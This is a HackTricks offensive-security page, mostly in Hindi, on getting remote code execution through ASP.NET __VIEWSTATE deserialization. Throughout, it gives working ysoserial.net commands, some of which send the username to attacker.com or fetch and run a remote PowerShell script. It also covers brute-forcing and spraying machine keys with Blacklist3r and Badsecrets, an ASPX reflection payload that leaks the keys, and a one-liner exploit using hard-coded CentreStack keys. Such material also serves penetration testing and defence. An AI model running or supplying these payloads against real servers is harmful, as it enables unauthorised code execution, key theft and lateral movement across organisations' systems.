Exploiting __VIEWSTATE without knowing the secrets

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ViewState क्या है

ViewState ASP.NET में पेज और कंट्रोल डेटा को वेब पेजों के बीच बनाए रखने के लिए डिफ़ॉल्ट मैकेनिज्म के रूप में कार्य करता है। पेज के HTML को रेंडर करते समय, पेज की वर्तमान स्थिति और postback के दौरान बनाए रखने योग्य मानों को base64-encoded strings में सीरियलाइज़ किया जाता है। फिर ये strings hidden ViewState फ़ील्ड्स में रखे जाते हैं।

ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा वर्णित किया जा सकता है:

  • Base64:
  • यह फ़ॉर्मेट तब उपयोग किया जाता है जब दोनों EnableViewStateMac और ViewStateEncryptionMode एट्रिब्यूट false पर सेट हों।
  • Base64 + MAC (Message Authentication Code) Enabled:
  • MAC को सक्रिय करने के लिए EnableViewStateMac एट्रिब्यूट को true पर सेट किया जाता है। यह ViewState डेटा की integrity सत्यापित करता है।
  • Base64 + Encrypted:
  • जब ViewStateEncryptionMode एट्रिब्यूट true पर सेट होता है तो एन्क्रिप्शन लागू होता है, जो ViewState डेटा की confidentiality सुनिश्चित करता है।

टेस्ट केस

यह इमेज .NET framework संस्करण के आधार पर ASP.NET में ViewState के विभिन्न कॉन्फ़िगरेशनों का एक तालिका रूप में विवरण दिखाती है। यहाँ सामग्री का सारांश दिया गया है:

  1. किसी भी .NET संस्करण के लिए, जब MAC और Encryption दोनों अक्षम हों, तब MachineKey की आवश्यकता नहीं होती, इसलिए उसके पहचानने का कोई प्रासंगिक तरीका नहीं है।
  2. 4.5 से नीचे के संस्करणों के लिए, यदि MAC सक्षम है लेकिन Encryption नहीं है, तो एक MachineKey की आवश्यकता होती है। MachineKey पहचानने की विधि को “Blacklist3r” कहा गया है।
  3. 4.5 से नीचे के संस्करणों के लिए, चाहे MAC सक्षम हो या अक्षम, यदि Encryption सक्षम है तो MachineKey की आवश्यकता होती है। MachineKey पहचानना “Blacklist3r - Future Development” का कार्य है।
  4. 4.5 और उससे ऊपर के संस्करणों के लिए, MAC और Encryption के सभी संयोजनों (चाहे दोनों true हों, या एक true और दूसरा false) के लिए MachineKey आवश्यक होता है। MachineKey को “Blacklist3r” का उपयोग करके पहचाना जा सकता है।

टेस्ट केस: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

यह भी संभव है कि ViewStateMAC को पूरी तरह अक्षम किया जाए, इसके लिए AspNetEnforceViewStateMac रजिस्ट्री की को zero पर सेट किया जा सकता है:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState Attributes की पहचान

आप BurpSuite के साथ उस पैरामीटर वाली request को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि ViewState MAC से सुरक्षित है या नहीं। यदि MAC पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया गया है, तो आप इसे YSoSerial.Net का उपयोग करके exploit कर सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Test case 1 की तरह पर ViewState cookie सर्वर द्वारा नहीं भेजा जाता

डेवलपर्स ViewState को HTTP Request का हिस्सा बनने से हटा सकते हैं (उपयोगकर्ता यह cookie प्राप्त नहीं करेगा).
कोई यह मान सकता है कि यदि ViewState मौजूद नहीं है, तो उनकी implementation ViewState deserialization से उत्पन्न होने वाली किसी भी संभावित कमजोरियों से सुरक्षित है.
हालाँकि, ऐसा नहीं है। यदि हम ViewState parameter जोड़ते हैं request body में और ysoserial का उपयोग करके बनाया गया हमारा serialized payload भेजते हैं, तो हम फिर भी code execution प्राप्त कर पाएंगे जैसा कि Case 1 में दिखाया गया है.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

किसी specific page के लिए enable ViewState MAC करने हेतु हमें एक विशेष aspx फ़ाइल में निम्नलिखित परिवर्तन करने होंगे:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे पूरे एप्लिकेशन के लिए भी कर सकते हैं, इसे नीचे दिखाए अनुसार web.config फ़ाइल में सेट करके:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

इस बार parameter MAC protected होने के कारण, attack को सफलतापूर्वक execute करने के लिए हमें पहले इस्तेमाल की गई key चाहिए।

आप key खोजने के लिए Blacklist3r(AspDotNetWrapper.exe) का उपयोग कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets एक और टूल है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें कोई Windows dependency नहीं है। .NET viewstates के लिए, एक “python blacklist3r” utility है, जो इसे उपयोग करने का सबसे तेज़ तरीका है।

इसे या तो सीधे viewstate और generator के साथ दिया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

या, यह सीधे target URL से कनेक्ट करके HTML से viewstate को निकालने की कोशिश कर सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

स्केल पर कमजोर viewstates की खोज के लिए, subdomain enumeration के साथ मिलकर, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमले को आगे बढ़ा सकते हैं।

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

ऐसी परिस्थितियों में जहाँ _VIEWSTATEGENERATOR parameter सर्वर द्वारा भेजा नहीं जाता, आपको --generator parameter प्रदान करने की ज़रूरत नहीं है पर ये हैं:

--apppath="/" --path="/hello.aspx"

बड़े पैमाने पर पुन: उपयोग किए गए <machineKey> मानों का शोषण

Ink Dragon (2025) ने दिखाया कि जब व्यवस्थापक Microsoft docs, StackOverflow answers या vendor blogs में प्रकाशित sample <machineKey> ब्लॉक्स को copy कर लेते हैं तो यह कितना खतरनाक हो सकता है। एक बार कोई भी लक्ष्य उन keys को farm में leak या reuse कर दे, तो ViewState पर भरोसा करने वाला हर अन्य ASP.NET पृष्ठ बिना किसी अतिरिक्त vulnerability के रिमोटली hijack किया जा सकता है।

  1. कैंडिडेट वर्डलिस्ट बनाएं leaked validationKey/decryptionKey पेयर्स के साथ (उदा. public repos, Microsoft blog posts scrape करना, या farm के एक host से recover किए गए keys) और इसे Blacklist3r/Badsecrets को फीड करें:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

Tooling प्रत्येक candidate key के साथ एक benign __VIEWSTATE blob को बार-बार sign करता है जब तक कि server MAC स्वीकार न कर ले, जिससे key वैध साबित होता है। 2. malicious ViewState गढ़ें जब key pair पता चल जाए। अगर encryption disabled है तो आपको केवल validationKey की आवश्यकता है। अगर encryption enabled है, तो matching decryptionKey शामिल करें ताकि payload decrypt → deserialize path में survive कर सके:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Operators अक्सर disk-resident launchers (उदा. PrintNotifyPotato, ShadowPad loaders, आदि) को सीधे payload में embed कर देते हैं क्योंकि यह IIS worker (w3wp.exe) के रूप में execute होता है। 3. Lateral pivot करें एक ही <machineKey> को sibling SharePoint/IIS nodes में recycle करके। एक server compromize होने के बाद आप उसी key को replay करके उन हर अन्य server को भी हिट कर सकते हैं जिन्होंने अपनी configuration rotate नहीं की है।

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

इसमें यह ज्ञात नहीं है कि parameter MAC से protected है या नहीं। तब, value संभवतः encrypted होगी और vulnerability exploit करने के लिए आपको अपने payload को encrypt करने के लिए Machine Key की आवश्यकता होगी।

In this case the Blacklist3r module is under development…

Prior to .NET 4.5, ASP.NET उपयोगकर्ताओं से एक unencrypted ___VIEWSTATE_parameter स्वीकार कर सकता है यहां तक कि यदि ViewStateEncryptionMode को Always पर सेट किया गया हो। ASP.NET केवल request में __VIEWSTATEENCRYPTED parameter की उपस्थिति की जांच करता है। यदि कोई इस parameter को हटा देता है, और unencrypted payload भेजता है, तो भी यह process किया जाएगा।

इसलिए अगर attackers किसी अन्य vuln जैसे file traversal के माध्यम से Machinekey प्राप्त करने का तरीका ढूंढ लेते हैं, तो YSoSerial.Net कमांड जो Case 2 में उपयोग हुआ था, ViewState deserialization vulnerability का उपयोग करके RCE करने के लिए उपयोग किया जा सकता है।

  • Request से __VIEWSTATEENCRYPTED parameter हटा दें ताकि ViewState deserialization vulnerability का exploit किया जा सके, अन्यथा यह Viewstate MAC validation error लौटाएगा और exploit fail हो जाएगा।

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

हम web.config फ़ाइल के अंदर नीचे दिए गए parameter को specify करके ASP.NET framework के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।

<httpRuntime targetFramework="4.5" />

वैकल्पिक रूप से, यह web.config file के machineKey पैरामीटर के अंदर नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।

compatibilityMode="Framework45"

जैसा कि पहले, value is encrypted. इसलिए, एक valid payload भेजने के लिए attacker को key की आवश्यकता होती है।

जिस key का उपयोग किया जा रहा है उसे खोजने के लिए आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए refer here

या, Badsecrets (एक generator value के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

एक बार एक वैध Machine key की पहचान हो जाने पर, अगला कदम serialized payload जनरेट करना है, इसके लिए YSoSerial.Net का उपयोग करें

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है, आप उस मान के साथ --generator पैरामीटर का उपयोग करने का प्रयास कर सकते हैं और --path तथा --apppath पैरामीटरों को छोड़ सकते हैं

ViewState deserialization vulnerability का सफल exploitation एक attacker-controlled सर्वर को एक out-of-band request भेजेगा, जिसमें username शामिल होगा। इस प्रकार का exploit एक proof of concept (PoC) में दर्शाया गया है जिसका शीर्षक “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET” है। exploitation प्रक्रिया कैसे काम करती है और Blacklist3r जैसे टूल का उपयोग करके MachineKey कैसे पहचाना जाता है, इसके बारे में और विवरण के लिए आप दिया गया PoC of Successful Exploitation देख सकते हैं।

टेस्ट केस 6 – ViewStateUserKeys उपयोग किया जा रहा है

ViewStateUserKey property का उपयोग CSRF attack के खिलाफ रक्षा करने के लिए किया जा सकता है। यदि application में ऐसा key परिभाषित किया गया है और हम अब तक चर्चा किए गए तरीकों से ViewState payload जनरेट करने का प्रयास करते हैं, तो payload को application द्वारा process नहीं किया जाएगा.
आपको payload को सही तरीके से बनाने के लिए एक और parameter का उपयोग करना होगा:

--viewstateuserkey="randomstringdefinedintheserver"

सफल शोषण का परिणाम

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload सफलतापूर्वक काम करता है तो सर्वर “500 Internal server error” के साथ प्रतिक्रिया देता है और प्रतिक्रिया सामग्री “The state information is invalid for this page and might be corrupted” होती है और हमें OOB request मिलता है।

अधिक जानकारी के लिए यहाँ देखें

Reflection के माध्यम से ASP.NET Machine Keys निकालना (SharPyShell/SharePoint ToolShell)

लक्ष्य वेब रूट के अंदर upload or execute arbitrary ASPX code करने में सक्षम हमलावर सीधे उन secret keys को प्राप्त कर सकते हैं जो __VIEWSTATE की रक्षा करते हैं, bruteforcing करने के बजाय। एक न्यूनतम payload जो keys को leak करता है, reflection के माध्यम से internal .NET classes का उपयोग करता है:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

पेज का अनुरोध करने पर ValidationKey, DecryptionKey, एन्क्रिप्शन एल्गोरिथ्म और ASP.NET अनुकूलता मोड प्रिंट हो जाते हैं। इन मानों को अब सीधे ysoserial.net में इनपुट करके एक वैध, हस्ताक्षरित __VIEWSTATE gadget बनाया जा सकता है:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

This key-exfiltration primitive 2025 में on-prem SharePoint सर्वरों के खिलाफ बड़े पैमाने पर एक्सप्लॉइट किया गया था (“ToolShell” – CVE-2025-53770/53771), लेकिन यह किसी भी ASP.NET एप्लिकेशन पर लागू होता है जहाँ एक हमलावर सर्वर-साइड कोड चला सकता है।

2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

Microsoft Threat Intelligence ने रिपोर्ट किया कि ASP.NET साइटों का बड़े पैमाने पर एक्सप्लॉइटेशन हुआ जहाँ machineKey पहले सार्वजनिक स्रोतों (GitHub gists, ब्लॉग पोस्ट, paste sites) पर leaked था। हमलावरों ने इन कुंजियों को सूचीबद्ध किया और WAF लंबाई सीमाओं से बचने के लिए नए ysoserial.net 1.41 --minify और --islegacy फ्लैग्स के साथ वैध __VIEWSTATE gadgets जेनरेट किए:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

उन targets जो farms के बीच एक ही static keys को बार-बार reuse करते रहते हैं, वे अनिश्चितकाल तक vulnerable बने रहते हैं; एक बार वे AutoGenerate मानों पर migrate कर लेते हैं तो spray technique काम करना बंद कर देती है, इसलिए उन legacy deployments को प्राथमिकता दें जो अभी भी hard-coded material को expose करती हैं।

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys

Kudelski Security ने खुलासा किया कि कई CentreStack / Triofox रिलीज़ समान machineKey मानों के साथ भेजी गई थीं, जिससे unauthenticated remote code execution through ViewState forgery (CVE-2025-30406) संभव हो गया।

One-liner exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 में फिक्स किया गया — तुरंत अपग्रेड करें या keys बदल दें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें